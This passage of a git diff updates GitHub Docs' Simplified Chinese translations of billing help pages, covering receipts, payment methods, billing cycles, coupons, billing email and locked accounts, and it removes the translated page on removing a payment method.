+## 延伸阅读
 
-- "[Getting started with {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
+- "[开始使用 {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
index 0454458409..c38ca6cb65 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Adding information to your receipts
-intro: 'You can add extra information to your {% data variables.product.product_name %} receipts, such as tax or accounting information required by your company or country.'
+title: 添加信息到收据
+intro: '您可以添加 {% data variables.product.product_name %} 额外信息到收据，如公司或国家要求的纳税或会计信息。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts
   - /articles/can-i-add-my-credit-card-number-to-my-receipts
@@ -21,28 +21,29 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: Add to your receipts
+shortTitle: 添加到收据中
 ---
-Your receipts include your {% data variables.product.prodname_dotcom %} subscription as well as any subscriptions for [other paid features and products](/articles/about-billing-on-github).
+
+收据包括 {% data variables.product.prodname_dotcom %} 订阅以及[其他付费功能和产品](/articles/about-billing-on-github)的订阅。
 
 {% warning %}
 
-**Warning**: For security reasons, we strongly recommend against including any confidential or financial information (such as credit card numbers) on your receipts.
+**警告**：为安全起见，强烈建议不要在收据中包含任何机密或财务信息（如信用卡号）。
 
 {% endwarning %}
 
-## Adding information to your personal account's receipts
+## 添加信息到个人帐户的收据
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.user_settings.payment-info-link %}
 {% data reusables.dotcom_billing.extra_info_receipt %}
 
-## Adding information to your organization's receipts
+## 添加信息到组织的收据
 
 {% note %}
 
-**Note**: {% data reusables.dotcom_billing.org-billing-perms %}
+**注**：{% data reusables.dotcom_billing.org-billing-perms %}
 
 {% endnote %}
 
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
index bb9fc0e76c..876e2c4710 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing a payment method
-intro: You can add a payment method to your account or update your account's existing payment method at any time.
+title: 添加或编辑付款方式
+intro: 您可以随时添加付款方式到帐户或更新帐户的现有付款方式。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method
   - /articles/updating-your-personal-account-s-payment-method
@@ -24,31 +24,29 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Manage a payment method
+shortTitle: 管理付款方式
 ---
+
 {% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %}
 
-We don't provide invoicing or support purchase orders for personal accounts. We email receipts monthly or yearly on your account's billing date. If your company, country, or accountant requires your receipts to provide more detail, you can also [add extra information](/articles/adding-information-to-your-personal-account-s-receipts) to your receipts.
+我们不为个人帐户提供开发票或支持采购单。 在您的帐户的结算日期，我们将以电子邮件发送每月或每年收据。 如果您的公司、国家或会计要求收据提供更多详细信息，也可为收据[添加额外信息](/articles/adding-information-to-your-personal-account-s-receipts)。
 
-## Updating your personal account's payment method
+## 更新个人帐户的付款方式
 
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has existing billing information that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-information-edit-button.png)
+1. If your account has existing billing information that you want to update, click **Edit**. ![计费新卡按钮](/assets/images/help/billing/billing-information-edit-button.png)
 {% data reusables.dotcom_billing.enter-billing-info %}
-1. If your account has an existing payment method that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-payment-method-edit-button.png)
+1. If your account has an existing payment method that you want to update, click **Edit**. ![计费新卡按钮](/assets/images/help/billing/billing-payment-method-edit-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
 
-## Updating your organization's payment method
+## 更新组织的付款方式
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If your organization is outside of the US or if you're using a corporate checking account to pay for {% data variables.product.product_name %}, PayPal could be a helpful method of payment.
+如果组织在美国之外，或者您使用公司支票帐户支付 {% data variables.product.product_name %}，PayPal 可能是一种有用的付款方式。
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has an existing credit card that you want to update, click **New Card**.
-![Billing New Card button](/assets/images/help/billing/billing-new-card-button.png)
+1. 如果您的帐户存在要更新的现有信用卡，请单击 **New Card（新卡）**。 ![计费新卡按钮](/assets/images/help/billing/billing-new-card-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
index 539ae1e931..6c940d9510 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the duration of your billing cycle
-intro: You can pay for your account's subscription and other paid features and products on a monthly or yearly billing cycle.
+title: 更改结算周期的时长
+intro: 您可以按月度或年度结算周期来支付您帐户的订阅及其他付费功能和产品的费用。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle
   - /articles/monthly-and-yearly-billing
@@ -16,31 +16,30 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Billing cycle
+shortTitle: 结算周期
 ---
-When you change your billing cycle's duration, your {% data variables.product.prodname_dotcom %} subscription, along with any other paid features and products, will be moved to your new billing cycle on your next billing date.
 
-## Changing the duration of your personal account's billing cycle
+更改结算周期的时长后，您的 {% data variables.product.prodname_dotcom %} 订阅，以及任何其他付费功能和产品，将在下一个结算日期转用新的结算周期。
+
+## 更改个人帐户结算周期的时长
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-## Changing the duration of your organization's billing cycle
+## 更改组织结算周期的时长
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Changing the duration of a per-user subscription
+### 更改按用户订阅的时长
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-### Changing the duration of a legacy per-repository plan
+### 更改传统的按仓库计划的时长
 
 {% data reusables.organizations.billing-settings %}
-4. Under "Billing overview", click **Change plan**.
-  ![Billing overview change plan button](/assets/images/help/billing/billing_overview_change_plan.png)
-5. At the top right corner, click **Switch to monthly billing** or **Switch to yearly billing**.
-  ![Billing information section](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
+4. 在“Billing overview（帐单概览）”下，单击 **Change plan（更改计划）**。 ![帐单概览更改计划按钮](/assets/images/help/billing/billing_overview_change_plan.png)
+5. 在右上角，单击 **Switch to monthly billing（切换为月度结算）** or **Switch to yearly billing（切换为年度结算）**。 ![帐单信息部分](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/index.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/index.md
index c8d94f174f..6036c6788a 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/index.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing your GitHub billing settings
-shortTitle: Billing settings
-intro: 'Your account''s billing settings apply to every paid feature or product you add to the account. You can manage settings like your payment method, billing cycle, and billing email. You can also view billing information such as your subscription, billing date, payment history, and past receipts.'
+title: 管理 GitHub 计费设置
+shortTitle: 帐单设置
+intro: 帐户的计费设置应用于您添加到帐户的每项付费功能或产品。 您可以管理支付方式、结算周期和帐音邮箱等设置。 您也可以查看帐单信息，如订阅、帐单日期、付款记录和以前的收据。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings
   - /articles/viewing-and-managing-your-personal-account-s-billing-information
@@ -25,6 +25,5 @@ children:
   - /redeeming-a-coupon
   - /troubleshooting-a-declined-credit-card-charge
   - /unlocking-a-locked-account
-  - /removing-a-payment-method
 ---
 
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
index 2a416cdc8f..2e7ef39696 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
@@ -1,6 +1,6 @@
 ---
-title: Redeeming a coupon
-intro: 'If you have a coupon, you can redeem it towards a paid {% data variables.product.prodname_dotcom %} subscription.'
+title: 兑换优惠券
+intro: '如果您有优惠券，可以将其兑换为付费的 {% data variables.product.prodname_dotcom %} 订阅。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon
   - /articles/where-do-i-add-a-coupon-code
@@ -18,24 +18,23 @@ topics:
   - Organizations
   - User account
 ---
-{% data variables.product.product_name %} can't issue a refund if you pay for an account before applying a coupon. We also can't transfer a redeemed coupon or give you a new coupon if you apply it to the wrong account. Confirm that you're applying the coupon to the correct account before you redeem a coupon.
+
+如果您在应用优惠券之前为帐户付款，则 {% data variables.product.product_name %} 无法发起退款。 如果您将优惠券应用到错误的帐户，我们也无法转移已兑换的优惠券或为您提供一张新的优惠券。 在兑换优惠券之前，请确认是否将优惠券应用到正确的帐户。
 
 {% data reusables.dotcom_billing.coupon-expires %}
 
-You cannot apply coupons to paid plans for {% data variables.product.prodname_marketplace %} apps.
+您无法将优惠券应用到 {% data variables.product.prodname_marketplace %} 应用程序的付费计划。
 
-## Redeeming a coupon for your personal account
+## 兑换个人帐户的优惠券
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to your *personal* account's username.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
+4. 在“Redeem your coupon（兑换您的优惠券）”下，单击*个人*帐户用户名旁边的 **Choose（选择）**。 ![选择按钮](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
 
-## Redeeming a coupon for your organization
+## 兑换组织的优惠券
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to the *organization* you want to apply the coupon to. If you'd like to apply your coupon to a new organization that doesn't exist yet, click **Create a new organization**.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button.png)
+4. 在“Redeem your coupon（兑换您的优惠券）”下，单击您要将优惠券应用到的*组织*旁边的 **Choose（选择）**。 如果想要将优惠券应用到尚未存在的新组织，请单击 **Create a new organization（创建新组织）**。 ![选择按钮](/assets/images/help/settings/redeem-coupon-choose-button.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
deleted file mode 100644
index 8e7fe2ed0b..0000000000
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Removing a payment method
-intro: 'If you aren''t using your payment method for any paid subscriptions on {% data variables.product.prodname_dotcom %}, you can remove the payment method so it''s no longer stored in your account.'
-redirect_from:
-  - /github/setting-up-and-managing-billing-and-payments-on-github/removing-a-payment-method
-  - /articles/removing-a-credit-card-associated-with-your-user-account
-  - /articles/removing-a-payment-method-associated-with-your-user-account
-  - /articles/removing-a-credit-card-associated-with-your-organization
-  - /articles/removing-a-payment-method-associated-with-your-organization
-  - /articles/removing-a-payment-method
-  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/removing-a-payment-method
-versions:
-  fpt: '*'
-  ghec: '*'
-type: how_to
-topics:
-  - Organizations
-  - User account
----
-If you're paying for your {% data variables.product.product_name %} subscription with a coupon, and you aren't using your payment method for any [other paid features or products](/articles/about-billing-on-github) on {% data variables.product.product_name %}, you can remove your credit card or PayPal information.
-
-{% data reusables.dotcom_billing.coupon-expires %}
-
-{% tip %}
-
-**Tip:** If you [downgrade your account to a free product](/articles/downgrading-your-github-subscription) and you don't have subscriptions for any other paid features or products, we'll automatically remove your payment information.
-
-{% endtip %}
-
-## Removing your personal account's payment method
-
-{% data reusables.user_settings.access_settings %}
-{% data reusables.user_settings.billing_plans %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
-
-## Removing your organization's payment method
-
-{% data reusables.dotcom_billing.org-billing-perms %}
-
-{% data reusables.organizations.billing-settings %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
index 66805ec15f..aac126557c 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your billing email
-intro: 'Your account''s billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.'
+title: 设置帐单邮箱
+intro: '您帐户的帐单邮箱是 {% data variables.product.product_name %} 发送收据及其他计费相关通信的地方。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email
   - /articles/setting-your-personal-account-s-billing-email
@@ -16,58 +16,51 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Billing email
+shortTitle: 帐单邮箱
 ---
-## Setting your personal account's billing email
 
-Your personal account's primary email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.
+## 设置个人帐户的帐单邮箱
 
-Your primary email address is the first email listed in your account email settings.
-We also use your primary email address as our billing email address.
+您个人帐户的主邮箱是 {% data variables.product.product_name %} 发送收据及其他计费相关通信的地方。
 
-If you'd like to change your billing email, see "[Changing your primary email address](/articles/changing-your-primary-email-address)."
+您的主电子邮件地址是帐户电子邮件设置中列出的第一个邮箱。 我们还使用您的主电子邮件地址作为帐单邮箱地址。
 
-## Setting your organization's billing email
+如果您想要更改帐单邮箱，请参阅“[更改您的主电子邮件地址](/articles/changing-your-primary-email-address)”。
 
-Your organization's billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication. The email address does not need to be unique to the organization account.
+## 设置组织的帐单邮箱
+
+您组织的帐单邮箱是 {% data variables.product.product_name %} 发送收据及其他计费相关通信的地方。 该电子邮件地址不需要是组织帐户唯一的。
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of the billing email address, click **Edit**.
-  ![Current billing emails](/assets/images/help/billing/billing-change-email.png)
-2. Type a valid email address, then click **Update**.
-  ![Change billing email address modal](/assets/images/help/billing/billing-change-email-modal.png)
+1. 在“Billing management（帐单管理）”下帐单邮箱地址的右侧，单击 **Edit（编辑）**。 ![当前帐单邮箱](/assets/images/help/billing/billing-change-email.png)
+2. 输入一个有效的电子邮件地址，然后点击 **Update（更新）**。 ![更改帐单邮箱地址模式](/assets/images/help/billing/billing-change-email-modal.png)
 
-## Managing additional recipients for your organization's billing email
+## 管理组织帐单邮箱的其他收件人
 
-If you have users that want to receive billing reports, you can add their email addresses as billing email recipients. This feature is only available to organizations that are not managed by an enterprise.
+如果您有用户希望接收帐单报告，您可以将他们的电子邮件地址添加为帐单邮箱收件人。 此功能仅适用于非企业管理的组织。
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Adding a recipient for billing notifications
+### 添加帐单通知的收件人
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of "Email recipients", click **Add**.
-  ![Add recipient](/assets/images/help/billing/billing-add-email-recipient.png)
-1. Type the email address of the recipient, then click **Add**.
-  ![Add recipient modal](/assets/images/help/billing/billing-add-email-recipient-modal.png)
+1. 在“Billing management（帐单管理）”下，在“Email recipients（电子邮件收件人）”的右侧，单击 **Add（添加）**。 ![添加收件人](/assets/images/help/billing/billing-add-email-recipient.png)
+1. 输入收件人的电子邮件地址，然后单击 **Add（添加）**。 ![添加收件人模式](/assets/images/help/billing/billing-add-email-recipient-modal.png)
 
-### Changing the primary recipient for billing notifications
+### 更改帐单通知的主要收件人
 
-One address must always be designated as the primary recipient. The address with this designation can't be removed until a new primary recipient is selected.
+必须始终将一个地址指定为主要收件人。 在选择新的主要收件人之前，无法删除带有此指定地址。
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", find the email address you want to set as the primary recipient.
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Mark as primary**.
-  ![Mark primary recipient](/assets/images/help/billing/billing-change-primary-email-recipient.png)
+1. 在“Billing management（帐单管理）”下，找到要设置为主要收件人的电子邮件地址。
+1. 在电子邮件地址的右侧，使用“Edit（编辑）”下拉菜单，然后单击 **Mark as primary（标记为主要收件人）**。 ![标记主要收件人](/assets/images/help/billing/billing-change-primary-email-recipient.png)
 
-### Removing a recipient from billing notifications
+### 从帐单通知中删除收件人
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Email recipients", find the email address you want to remove.
-1. For the user's entry in the list, click **Edit**.
-  ![Edit recipient](/assets/images/help/billing/billing-edit-email-recipient.png)
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Remove**.
-  ![Remove recipient](/assets/images/help/billing/billing-remove-email-recipient.png)
-1. Review the confirmation prompt, then click **Remove**.
+1. 在“Email recipients（电子邮件收件人）”下，找到要删除的电子邮件地址。
+1. 针对列表中的用户条目，单击 **Edit（编辑）**。 ![编辑收件人](/assets/images/help/billing/billing-edit-email-recipient.png)
+1. 在电子邮件地址的右侧，使用“Edit（编辑）”下拉菜单，然后单击 **Remove（删除）**。 ![删除收件人](/assets/images/help/billing/billing-remove-email-recipient.png)
+1. 查看确认提示，然后单击 **Remove（删除）**。
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
index efa7701ca9..d7ef18b67a 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting a declined credit card charge
-intro: 'If the credit card you use to pay for {% data variables.product.product_name %} is declined, you can take several steps to ensure that your payments go through and that you are not locked out of your account.'
+title: 对拒绝的信用卡收费进行故障排除
+intro: '如果用于为 {% data variables.product.product_name %} 付款的信用卡被拒绝，您可以采取几个步骤来确保您的付款通过，并且您不会被锁定在帐户之外。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge
   - /articles/what-do-i-do-if-my-card-is-declined
@@ -12,26 +12,27 @@ versions:
 type: how_to
 topics:
   - Troubleshooting
-shortTitle: Declined credit card charge
+shortTitle: 拒绝的信用卡费用
 ---
-If your card is declined, we'll send you an email about why the payment was declined. You'll have a few days to resolve the problem before we try charging you again.
 
-## Check your card's expiration date
+如果您的卡被拒绝，我们将向您发送一封电子邮件，说明付款被拒绝的原因。 在我们再次尝试向您收费之前，您将有几天的时间来解决该问题。
 
-If your card has expired, you'll need to update your account's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## 检查卡片的有效期
 
-## Verify your bank's policy on card restrictions
+如果您的卡片已过期，您将需要更新帐户的付款信息。 更多信息请参阅“[添加或编辑付款方式](/articles/adding-or-editing-a-payment-method)”。
 
-Some international banks place restrictions on international, e-commerce, and automatically recurring transactions. If you're having trouble making a payment with your international credit card, call your bank to see if there are any restrictions on your card.
+## 确认银行的卡片限制政策
 
-We also support payments through PayPal. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+有些国际银行会对国际、电子商务和自动重复的交易加以限制。 如果使用国际信用卡进行付款时遇到问题，请致电银行了解您的卡片是否有任何限制。
 
-## Contact your bank for details about the transaction
+我们还支持通过 PayPal 付款。 更多信息请参阅“[添加或编辑付款方式](/articles/adding-or-editing-a-payment-method)”。
 
-Your bank can provide additional information about declined payments if you specifically ask about the attempted transaction. If there are restrictions on your card and you need to call your bank, provide this information to your bank:
+## 联系银行以了解有关交易的详细信息
 
-- **The amount you're being charged.** The amount for your subscription appears on your account's receipts. For more information, see "[Viewing your payment history and receipts](/articles/viewing-your-payment-history-and-receipts)."
-- **The date when {% data variables.product.product_name %} bills you.** Your account's billing date appears on your receipts.
-- **The transaction ID number.** Your account's transaction ID appears on your receipts.
-- **The merchant name.** The merchant name is {% data variables.product.prodname_dotcom %}.
-- **The error message your bank sent with the declined charge.** You can find your bank's error message on the email we send you when a charge is declined.
+如果您具体询问尝试的交易，银行可提供关于被拒绝付款的其他信息。 如果您的卡片有限制并需要致电银行，请向银行提供以下信息：
+
+- **您被收取的金额。**订阅的金额会在帐户的收据上显示。 更多信息请参阅“[查看您的付款历史记录和收据](/articles/viewing-your-payment-history-and-receipts)”。
+- **{% data variables.product.product_name %} 向您收费的日期。**帐户的帐单日期会在收据上显示。
+- **交易 ID 号。**帐户的交易 ID 会在收据上显示。
+- **商户名称。**商户名称为 {% data variables.product.prodname_dotcom %}。
+- **银行随被拒绝的收费一起发送的错误消息。**您可在收费被拒绝时我们发送给您的电子邮件中找到银行的错误消息。
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
index b59da1c080..593a0e5b85 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
@@ -1,6 +1,6 @@
 ---
-title: Unlocking a locked account
-intro: Your organization's paid features are locked if your payment is past due because of billing problems.
+title: 解锁锁定的帐户
+intro: 如果您的付款因帐单问题而过期，组织的付费功能将被锁定。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account
   - /articles/what-happens-if-my-account-is-locked
@@ -20,14 +20,15 @@ topics:
   - Downgrades
   - Organizations
   - User account
-shortTitle: Locked account
+shortTitle: 已锁定的帐户
 ---
-You can unlock and access your account by updating your organization's payment method and resuming paid status. We do not ask you to pay for the time elapsed in locked mode.
 
-You can downgrade your organization to {% data variables.product.prodname_free_team %} to continue with the same advanced features in public repositories. For more information, see "[Downgrading your {% data variables.product.product_name %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
+通过更新组织的付款方式和恢复付费状态，您可以解锁并访问自己的帐户。 我们不会要求您为锁定模式经过的时间付款。
 
-## Unlocking an organization's features due to a declined payment
+您可以将组织降级到 {% data variables.product.prodname_free_team %}，以继续使用公共仓库中相同的高级功能。 更多信息请参阅“[降级您的 {% data variables.product.product_name %} 订阅](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)”。
 
-If your organization's advanced features are locked due to a declined payment, you'll need to update your billing information to trigger a newly authorized charge. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## 解锁组织因拒绝付款而锁定的功能
 
-If the new billing information is approved, we will immediately charge you for the paid product you chose. The organization will automatically unlock when a successful payment has been made.
+如果您组织的高级功能因拒绝付款而被锁定，您将需要更新帐单信息来触发新授权的扣费。 更多信息请参阅“[添加或编辑付款方式](/articles/adding-or-editing-a-payment-method)”。
+
+如果新的帐单信息获得批准，我们将立即向您收取所选付费产品的费用。 成功付款后，组织将自动解锁。
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
index c643ca0c2c..e54af49be2 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your payment history and receipts
-intro: You can view your account's payment history and download past receipts at any time.
+title: 查看您的付款历史记录和收据
+intro: 您可以随时查看帐户的付款历史记录和下载过去的收据。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts
   - /articles/downloading-receipts
@@ -17,16 +17,17 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: View history & receipts
+shortTitle: 查看历史记录和收据
 ---
-## Viewing receipts for your personal account
+
+## 查看个人帐户的收据
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.view-payment-history %}
 {% data reusables.dotcom_billing.download_receipt %}
 
-## Viewing receipts for your organization
+## 查看组织的收据
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
index b62ebd0208..506f24c547 100644
--- a/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
+++ b/translations/zh-CN/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions and billing date
-intro: 'You can view your account''s subscription, your other paid features and products, and your next billing date in your account''s billing settings.'
+title: 查看订阅和结算日期
+intro: 您可以在帐户的计费设置中查看帐户的订阅、其他付费功能和产品以及下一个结算日期。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date
@@ -17,21 +17,22 @@ topics:
   - Accounts
   - Organizations
   - User account
-shortTitle: Subscriptions & billing date
+shortTitle: 订阅和计费日期
 ---
-## Finding your personal account's next billing date
+
+## 查找个人帐户的下一个结算日期
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Finding your organization's next billing date
+## 查找组织的下一个结算日期
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Further reading
+## 延伸阅读
 
-- "[About billing for {% data variables.product.prodname_dotcom %} accounts](/articles/about-billing-for-github-accounts)"
+- "[关于 {% data variables.product.prodname_dotcom %} 帐户的计费](/articles/about-billing-for-github-accounts)"
diff --git a/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
index b74ec44276..06f31008f8 100644
--- a/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
+++ b/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations for procurement companies
-intro: 'Businesses use organizations to collaborate on shared projects with multiple owners and administrators. You can create an organization for your client, make a payment on their behalf, then pass ownership of the organization to your client.'
+title: 关于采购公司的组织
+intro: 企业使用组织与多个所有者和管理员协作处理共享的项目。 您可以为客户创建组织，代他们付款，然后将组织的所有权转给客户。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies
   - /articles/about-organizations-for-resellers
@@ -12,27 +12,28 @@ versions:
 type: overview
 topics:
   - Organizations
-shortTitle: About organizations
+shortTitle: 关于组织
 ---
-To access an organization, each member must sign into their own personal user account.
 
-Organization members can have different roles, such as *owner* or *billing manager*:
+要访问组织，每个成员都必须登录到其自己的个人用户帐户。
 
-- **Owners** have complete administrative access to an organization and its contents.
-- **Billing managers** can manage billing settings, and cannot access organization contents. Billing managers are not shown in the list of organization members.
+组织成员可有不同的角色，如*所有者*或*帐单管理员*：
 
-## Payments and pricing for organizations
+- **所有者**对组织及其内容具有全面的管理权限。
+- **帐单管理员**可以管理帐单设置，但不能访问组织内容。 帐单管理员不会显示在组织成员列表中。
 
